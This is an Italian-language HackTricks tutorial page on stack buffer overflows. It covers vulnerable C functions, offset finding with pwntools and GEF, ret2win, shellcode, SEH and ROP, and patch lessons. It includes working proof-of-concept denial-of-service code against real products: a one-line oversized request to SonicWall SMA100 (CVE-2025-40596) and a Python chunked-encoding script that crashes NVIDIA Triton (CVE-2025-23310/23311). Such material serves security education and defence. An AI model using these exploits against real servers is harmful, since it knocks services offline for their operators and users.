Stack Overflow
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cos'è uno Stack Overflow
Un stack overflow è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso sovrascriveranno le aree di memoria adiacenti, causando la corruzione di dati validi, l'interruzione del flusso di controllo e, potenzialmente, l'esecuzione di codice malevolo. Questo problema si presenta spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sull'input.
Il problema principale di questa sovrascrittura è che il puntatore di istruzione salvato (EIP/RIP) e il puntatore base salvato (EBP/RBP) per tornare alla funzione precedente sono memorizzati nello stack. Di conseguenza, un attaccante potrà sovrascriverli e controllare il flusso di esecuzione del programma.
La vulnerabilità di solito sorge perché una funzione copia nello stack più byte di quanti ne siano stati allocati per essa, riuscendo così a sovrascrivere altre parti dello stack.
Alcune funzioni comunemente vulnerabili a questo sono: strcpy
, strcat
, sprintf
, gets
... Inoltre, funzioni come fgets
, read
& memcpy
che prendono un argomento di lunghezza, potrebbero essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
Ad esempio, le seguenti funzioni potrebbero essere vulnerabili:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Trovare gli offset di Stack Overflows
Il modo più comune per individuare stack overflows è fornire un input molto grande di A
(es. python3 -c 'print("A"*1000)'
) e attendersi un Segmentation Fault
che indica che si è tentato di accedere all'indirizzo 0x41414141
.
Inoltre, una volta trovata una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario per poter sovrascrivere l'indirizzo di ritorno; a questo scopo si usa di solito una De Bruijn sequence. Per un alfabeto di dimensione k e sottosequenze di lunghezza n, essa è una sequenza ciclica in cui ogni possibile sottosequenza di lunghezza n appare esattamente una volta come sottosequenza contigua.
In questo modo, invece di dover determinare manualmente quale offset sia necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che l'hanno sovrascritta.
È possibile usare pwntools per questo:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
o GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Sfruttare Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to sovrascrivere i valori delle variabili locali nello stack fino a raggiungere i saved EBP/RBP and EIP/RIP (or even more).
Il modo più comune per sfruttare questo tipo di vulnerabilità è modificare l'address di ritorno in modo che quando la funzione termina il flusso di controllo venga reindirizzato dove l'utente ha specificato in questo puntatore.
Tuttavia, in altri scenari potrebbe essere sufficiente semplicemente sovrascrivere alcuni valori di variabili nello stack per l'exploitation (come in semplici challenge CTF).
Ret2win
In questo tipo di challenge CTF, c'è una function all'interno del binary che non viene mai chiamata e che devi chiamare per vincere. Per queste challenge devi solo trovare l'offset per sovrascrivere l'address di ritorno e trovare l'indirizzo della function da chiamare (di solito ASLR è disabilitato) così quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata:
Stack Shellcode
In questo scenario l'attacker può posizionare uno shellcode nello stack e sfruttare l'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:
Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. L'exploitation tipicamente sostituisce il puntatore SEH con un POP POP RET gadget e utilizza il campo nSEH di 4 byte per un salto breve che riporta nella large buffer dove risiede lo shellcode. Un pattern comune è un short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare di centinaia di byte indietro all'inizio del payload.
ROP & Ret2... techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che termineranno eseguendo comandi arbitrari abusando delle istruzioni esistenti nel binary:
ROP - Return Oriented Programing
Heap Overflows
An overflow is not always going to be in the stack, it could also be in the heap for example:
Tipi di protezioni
Esistono diverse protezioni che cercano di impedire lo sfruttamento delle vulnerabilità, consultale in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Una buona dimostrazione del perché sscanf
should never be trusted for parsing untrusted input è apparsa nel 2025 nell'appliance SonicWall SMA100 SSL-VPN.
La routine vulnerabile all'interno di /usr/src/EasyAccess/bin/httpd
tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- La prima conversione (
%2s
) memorizza in modo sicuro due byte inversion
(es."v1"
). - La seconda conversione (
%s
) non ha un specificatore di lunghezza, quindisscanf
continuerà a copiare fino al primo NUL byte. - Poiché
endpoint
si trova sullo stack ed è lungo 0x800 byte, fornire un path più lungo di 0x800 byte corrompe tutto ciò che si trova dopo il buffer ‑ inclusi lo stack canary e il saved return address.
Una single-line proof-of-concept è sufficiente per causare il crash prima dell'autenticazione:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Anche se gli stack canaries interrompono il processo, an attacker ottiene comunque una Denial-of-Service primitive (e, con additional information leaks, possibly code-execution). La lezione è semplice:
- Fornire sempre una larghezza massima del campo (es.
%511s
). - Preferire alternative più sicure come
snprintf
/strncpy_s
.
Esempio reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA Triton Inference Server (≤ v25.06) conteneva multiple stack-based overflows raggiungibili tramite la sua HTTP API.
Il pattern vulnerabile appariva ripetutamente in http_server.cc
e sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) restituisce il numero di internal buffer segments che compongono l'attuale corpo della richiesta HTTP.- Ogni segmento provoca l'allocazione di un
evbuffer_iovec
da 16-byte sul stack tramitealloca()
– senza alcun limite superiore. - Abusando di HTTP chunked transfer-encoding, un client può forzare la richiesta a essere suddivisa in centinaia di migliaia di 6-byte chunks (
"1\r\nA\r\n"
). Questo fa sì chen
cresca senza limiti fino all'esaurimento dello stack.
Proof-of-Concept (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il crash del daemon in una build predefinita.
Patch e mitigazione
La release 25.07 sostituisce l'allocazione non sicura sullo stack con una heap-backed std::vector
e gestisce in modo elegante std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Lezioni apprese:
- Non chiamare mai
alloca()
con dimensioni controllate dall'attaccante. - Le richieste chunked possono cambiare drasticamente la forma dei buffer lato server.
- Valida / limita qualsiasi valore derivato dall'input del client prima di usarlo nelle allocazioni di memoria.
Riferimenti
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.